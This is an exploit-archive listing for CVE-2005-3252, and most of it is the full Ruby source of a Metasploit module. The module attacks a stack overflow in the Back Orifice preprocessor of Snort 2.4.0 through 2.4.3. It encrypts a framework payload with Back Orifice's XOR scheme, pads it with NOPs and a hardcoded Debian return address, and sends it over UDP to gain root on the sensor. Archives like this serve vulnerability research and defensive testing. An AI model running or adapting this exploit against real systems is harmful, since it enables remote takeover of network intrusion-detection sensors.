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Snort Back Orifice Stack Overflow

Snort Back Orifice Stack Overflow
Posted Oct 27, 2009
Authored by Lau KaiJern

This Metasploit module exploits a stack overflow in the Back Orifice pre-processor module included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could be used to completely compromise a Snort sensor, and would typically gain an attacker full root or administrative privileges.

tags | exploit, overflow, root
advisories | CVE-2005-3252
SHA-256 | 585cf3c1e094b61417107aeaed623a55b27056aae30c96f310965fd2fc23c460

Snort Back Orifice Stack Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Udp

def initialize(info = {})
super(update_info(info,
'Name' => 'Snort Back Orifice Pre-Preprocessor Remote Exploit',
'Description' => %q{
This module exploits a stack overflow in the Back Orifice pre-processor module
included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could
be used to completely compromise a Snort sensor, and would typically gain an attacker
full root or administrative privileges.
},
'Author' => 'KaiJern Lau <xwings [at] mysec.org>',
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' =>
[
['CVE', '2005-3252'],
['OSVDB', '20034'],
['BID', '15131'],
['URL','http://xforce.iss.net/xforce/alerts/id/207'] ,
],
'Payload' =>
{
'Space' => 1073, #ret : 1069
'BadChars' => "\x00",
},
'Targets' =>
[
# Target 0: Debian 3.1 Sarge
[
'Debian 3.1 Sarge',
{
'Platform' => 'linux',
'Ret' => 0xbffff350
}
],
],
'DefaultTarget' => 0))


# Configure the default port to be 9080
register_options(
[
Opt::RPORT(9080),
], self.class)

end

def msrand(seed)
@holdrand = 31337
end

def mrand()
return (((@holdrand=@holdrand*(214013 & 0xffffffff)+(2531011 & 0xffffffff))>>16)&0x7fff)
end

def bocrypt(takepayload)

@arrpayload = (takepayload.split(//))

encpayload = ""
@holdrand=0
msrand(0)

@arrpayload.each do |c|
encpayload +=((c.unpack("C*").map{ |v| (v^(mrand()%256)) }.join)).to_i.chr
end

return encpayload
end


def exploit
connect_udp

boheader =
"*!*QWTY?" +
[1096].pack("V") + # Length ,thanx Russell Sanford
"\xed\xac\xef\x0d"+ # ID
"\x01" # PING

filler =
make_nops(1069 -(boheader.length + payload.encode.length))

udp_sock.write(
bocrypt(boheader+payload.encode+filler+[target.ret].pack('V'))
)

handler
disconnect_udp
end

end

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